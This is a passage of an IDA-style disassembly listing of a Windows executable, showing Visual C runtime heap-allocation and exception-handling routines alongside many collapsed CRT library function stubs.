--------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F50E+37j mov ebx, [ebp+arg_0] loc_41F584: ; CODE XREF: sub_41F50E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+Val], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41F5CA loc_41F597: ; CODE XREF: sub_41F50E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41F5B6 cmp [edi+4], ebx jbe short loc_41F5B6 push ebx push eax push [ebp+var_4] call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov [edi+4], ebx loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj ; sub_41F50E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+Val] jb short loc_41F597 jmp short loc_41F5CA ; --------------------------------------------------------------------------- loc_41F5C7: ; CODE XREF: sub_41F50E+14j mov ebx, [ebp+arg_0] loc_41F5CA: ; CODE XREF: sub_41F50E+87j ; sub_41F50E+B7j mov esi, [esi] cmp esi, off_43CE70 jz short loc_41F5E9 jmp loc_41F51C ; --------------------------------------------------------------------------- loc_41F5D9: ; CODE XREF: sub_41F50E+54j ; sub_41F50E+A3j mov off_43CE70, esi sub [edi], ebx mov [esi+8], edi jmp loc_41F711 ; --------------------------------------------------------------------------- loc_41F5E9: ; CODE XREF: sub_41F50E+C4j mov eax, offset off_43AE50 mov edi, eax loc_41F5F0: ; CODE XREF: sub_41F50E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41F5FC cmp dword ptr [edi+0Ch], 0 jnz short loc_41F608 loc_41F5FC: ; CODE XREF: sub_41F50E+E6j mov edi, [edi] cmp edi, eax jz loc_41F6DD jmp short loc_41F5F0 ; --------------------------------------------------------------------------- loc_41F608: ; CODE XREF: sub_41F50E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41F637 loc_41F626: ; CODE XREF: sub_41F50E+127j cmp [ebp+var_4], 10h jge short loc_41F637 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41F626 loc_41F637: ; CODE XREF: sub_41F50E+116j ; sub_41F50E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+Val], eax call ds:dword_427064 ; VirtualAlloc cmp eax, esi jnz loc_41F70F push 0 ; Size push [ebp+Val] ; Val push esi ; Dst call _memset mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41F69E lea eax, [esi+4] mov [ebp+var_4], edx loc_41F674: ; CODE XREF: sub_41F50E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41F674 loc_41F69E: ; CODE XREF: sub_41F50E+15Ej mov off_43CE70, edi lea eax, [edi+2018h] loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j cmp ecx, eax jnb short loc_41F6BA cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41F6B8 add ecx, 8 jmp short loc_41F6AA ; --------------------------------------------------------------------------- loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j cmp ecx, eax loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F6DD: ; CODE XREF: sub_41F50E+F2j call sub_41F216 test eax, eax jz short loc_41F70F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43CE70, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F70F: ; CODE XREF: sub_41F50E+143j ; sub_41F50E+1D6j xor eax, eax loc_41F711: ; CODE XREF: sub_41F50E+D6j ; sub_41F50E+1CDj ... pop edi pop esi pop ebx leave retn sub_41F50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap ; sub_41F50E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41F75B lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41F74A add [ecx], edx sub [ecx+4], edx jmp short loc_41F753 ; --------------------------------------------------------------------------- loc_41F74A: ; CODE XREF: sub_41F716+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F753: ; CODE XREF: sub_41F716+32j lea eax, [edi+8] jmp loc_41F829 ; --------------------------------------------------------------------------- loc_41F75B: ; CODE XREF: sub_41F716+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41F764 mov eax, esi loc_41F764: ; CODE XREF: sub_41F716+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41F7AE loc_41F76B: ; CODE XREF: sub_41F716+96j mov bl, [eax] test bl, bl jnz short loc_41F7A1 push 1 lea ebx, [eax+1] pop esi loc_41F777: ; CODE XREF: sub_41F716+68j cmp byte ptr [ebx], 0 jnz short loc_41F780 inc ebx inc esi jmp short loc_41F777 ; --------------------------------------------------------------------------- loc_41F780: ; CODE XREF: sub_41F716+64j cmp esi, edx jnb short loc_41F7D2 cmp eax, [ebp+var_4] jnz short loc_41F78E mov [ecx+4], esi jmp short loc_41F79A ; --------------------------------------------------------------------------- loc_41F78E: ; CODE XREF: sub_41F716+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41F833 loc_41F79A: ; CODE XREF: sub_41F716+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41F7A6 ; --------------------------------------------------------------------------- loc_41F7A1: ; CODE XREF: sub_41F716+59j movzx esi, bl add eax, esi loc_41F7A6: ; CODE XREF: sub_41F716+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41F76B loc_41F7AE: ; CODE XREF: sub_41F716+53j lea esi, [ecx+8] loc_41F7B1: ; CODE XREF: sub_41F716+EBj ; sub_41F716+F2j cmp esi, edi jnb short loc_41F833 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41F833 mov al, [esi] test al, al jnz short loc_41F803 push 1 lea ebx, [esi+1] pop eax loc_41F7C9: ; CODE XREF: sub_41F716+BAj cmp byte ptr [ebx], 0 jnz short loc_41F7F3 inc ebx inc eax jmp short loc_41F7C9 ; --------------------------------------------------------------------------- loc_41F7D2: ; CODE XREF: sub_41F716+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F7E3 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41F7EC ; --------------------------------------------------------------------------- loc_41F7E3: ; CODE XREF: sub_41F716+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41F7EC: ; CODE XREF: sub_41F716+CBj mov [eax], dl add eax, 8 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F7F3: ; CODE XREF: sub_41F716+B6j cmp eax, edx jnb short loc_41F80A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41F833 mov esi, ebx jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F803: ; CODE XREF: sub_41F716+ABj movzx eax, al add esi, eax jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F80A: ; CODE XREF: sub_41F716+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F81B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41F824 ; --------------------------------------------------------------------------- loc_41F81B: ; CODE XREF: sub_41F716+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F824: ; CODE XREF: sub_41F716+103j mov [esi], dl lea eax, [esi+8] loc_41F829: ; CODE XREF: sub_41F716+40j ; sub_41F716+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41F835 ; --------------------------------------------------------------------------- loc_41F833: ; CODE XREF: sub_41F716+7Ej ; sub_41F716+9Dj ... xor eax, eax loc_41F835: ; CODE XREF: sub_41F716+11Bj pop edi pop esi pop ebx leave retn sub_41F716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41F874 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F8D4 ; --------------------------------------------------------------------------- loc_41F874: ; CODE XREF: sub_41F83A+26j jnb short loc_41F8DB mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F8DB lea eax, [ecx+edx] loc_41F889: ; CODE XREF: sub_41F83A+59j cmp eax, esi jnb short loc_41F897 cmp byte ptr [eax], 0 jnz short loc_41F895 inc eax jmp short loc_41F889 ; --------------------------------------------------------------------------- loc_41F895: ; CODE XREF: sub_41F83A+56j cmp eax, esi loc_41F897: ; CODE XREF: sub_41F83A+51j jnz short loc_41F8DB mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F8CF cmp esi, eax jbe short loc_41F8CF lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F8C6 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F8C1 loc_41F8BA: ; CODE XREF: sub_41F83A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F8BA loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej mov [ebx+4], eax jmp short loc_41F8CF ; --------------------------------------------------------------------------- loc_41F8C6: ; CODE XREF: sub_41F83A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F8CF: ; CODE XREF: sub_41F83A+68j ; sub_41F83A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F8D4: ; CODE XREF: sub_41F83A+38j mov [ebp+var_4], 1 loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j ; sub_41F83A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41F83A endp ; [000000D9 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND] ; [000001F6 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; [00000170 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND] ; [00000078 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND] ; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] ; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000721 BYTES: COLLAPSED FUNCTION __output. PRESS KEYPAD "+" TO EXPAND] off_420660 dd offset $NORMAL_STATE$1535 ; DATA XREF: __output+6Er dd offset loc_41FFB4 ; jump table for switch statement dd offset loc_41FFCF dd offset loc_42001B dd offset loc_420052 dd offset loc_42005A dd offset loc_42008F dd offset loc_420122 ; [00000035 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND] ; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO EXPAND] ; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND] ; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] ; [0000008A BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND] ; [000000CC BYTES: COLLAPSED FUNCTION _toupper. PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND] ; [0000008D BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND] ; [0000003D BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000A25 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+" TO EXPAND] ; [00000037 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION _fgetc. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION __un_inc. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND] ; [00000053 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND] ; [00000098 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND] ; [000002B3 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD "+" TO EXPAND] ; [00000217 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND] ; [00000088 BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND] ; [00000026 BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND] ; [0000005A BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND] ; [000000C1 BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [0000005A BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND] ; [0000004E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND] ; [00000104 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND] ; [000000DE BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND] ; [0000009B BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __cftoe_g. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __cftof_g. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND] ; [0000009B BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND] ; [000001A7 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [000000A8 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [0000005D BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType const *,_s_ThrowInfo const *). PRESS KEYPAD "+" TO EXPAND] ; [0000009E BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION unknown_libname_4. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode *,uchar). PRESS KEYPAD "+" TO EXPAND] ; [0000009C BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_422AC8 proc near ; DATA XREF: .rdata:004278C8o push dword ptr [ebp-14h] ; struct _EXCEPTION_POINTERS * call ?ExFilterRethrow@@YAHPAU_EXCEPTION_POINTERS@@@Z ; ExFilterRethrow(_EXCEPTION_POINTERS *) pop ecx retn sub_422AC8 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; DATA XREF: .rdata:004278CCo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call __local_unwind2 pop ecx pop ecx xor eax, eax jmp short loc_422AB9 sub_422AD2 endp ; =============== S U B R O U T I N E ======================================= sub_422AEA proc near ; DATA XREF: .rdata:004278C0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] sub_422AEA endp ; sp-analysis failed ; [00000046 BYTES: COLLAPSED FUNCTION sub_422AF2. PRESS KEYPAD "+" TO EXPAND] ; [0000002A BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] ; [000001B8 BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; [00000056 BYTES: COLLAPSED FUNCTION unknown_libname_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; [00000023 BYTES: COLLAPSED FUNCTION AdjustPointer(void *,PMD const &). PRESS KEYPAD "+" TO EXPAND] ; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION sub_422DFC. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422E52 proc near ; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *)+23p ; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_41D53Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427908 push offset unknown_libname_8 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43D444 test eax, eax jz short loc_422E9A mov [ebp+var_4], 1 call eax ; sub_422DFC jmp short loc_422E96 ; --------------------------------------------------------------------------- loc_422E8F: ; DATA XREF: .rdata:00427918o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E93: ; DATA XREF: .rdata:0042791Co mov esp, [ebp+var_18] loc_422E96: ; CODE XREF: sub_422E52+3Bj and [ebp+var_4], 0 loc_422E9A: ; CODE XREF: sub_422E52+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422EA3: ; DATA XREF: .rdata:00427910o jmp sub_422DFC sub_422E52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EA8 proc near ; CODE XREF: __onexit+7p __onexit+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DD388 push esi cmp eax, 3 jnz short loc_422ED1 mov esi, [ebp+arg_0] push esi call ___sbh_find_block test eax, eax pop ecx jz short loc_422ECE mov eax, [esi-4] sub eax, 9 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422ECE: ; CODE XREF: sub_422EA8+1Cj push esi jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED1: ; CODE XREF: sub_422EA8+Ej cmp eax, 2 jnz short loc_422EF5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41F472 add esp, 0Ch test eax, eax jz short loc_422EF5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EA8+2Cj ; sub_422EA8+43j push [ebp+arg_0] loc_422EF8: ; CODE XREF: sub_422EA8+27j push 0 push dword_4DD384 call ds:dword_42704C ; RtlSizeHeap loc_422F06: ; CODE XREF: sub_422EA8+24j ; sub_422EA8+4Bj pop esi leave retn sub_422EA8 endp ; [0000009A BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND] ; [00000158 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND] ; [000001AD BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND] ; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND] ; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_8. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- unknown_libname_9: ; Microsoft VisualC 2-8/net runtime push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call __local_unwind2 add esp, 8 pop ebp retn 4 ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; [00000095 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND] ; [00000057 BYTES: COLLAPSED FUNCTION __commit. PRESS KEYPAD "+" TO EXPAND] ; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND] ; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND] ; [000002B9 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND] ; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; [00000026 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND] ; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __allshl. PRESS KEYPAD "+" TO EXPAND] ; [0000006E BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42482D proc near ; CODE XREF: __umatherr+52p xor eax, eax retn sub_42482D endp ; [00000035 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND] ; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND] ; [00000089 BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND] ; [00000049 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND] ; [0000008C BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND] ; [0000000C BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND] ; [0000008D BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND] ; [0000016C BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_424CFC proc near ; CODE XREF: sub_424D28+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D7F8 push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_424CFC endp ; =============== S U B R O U T I N E ======================================= sub_424D12 proc near ; CODE XREF: sub_424D55+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D810 push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_424D12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D28 proc near ; CODE XREF: 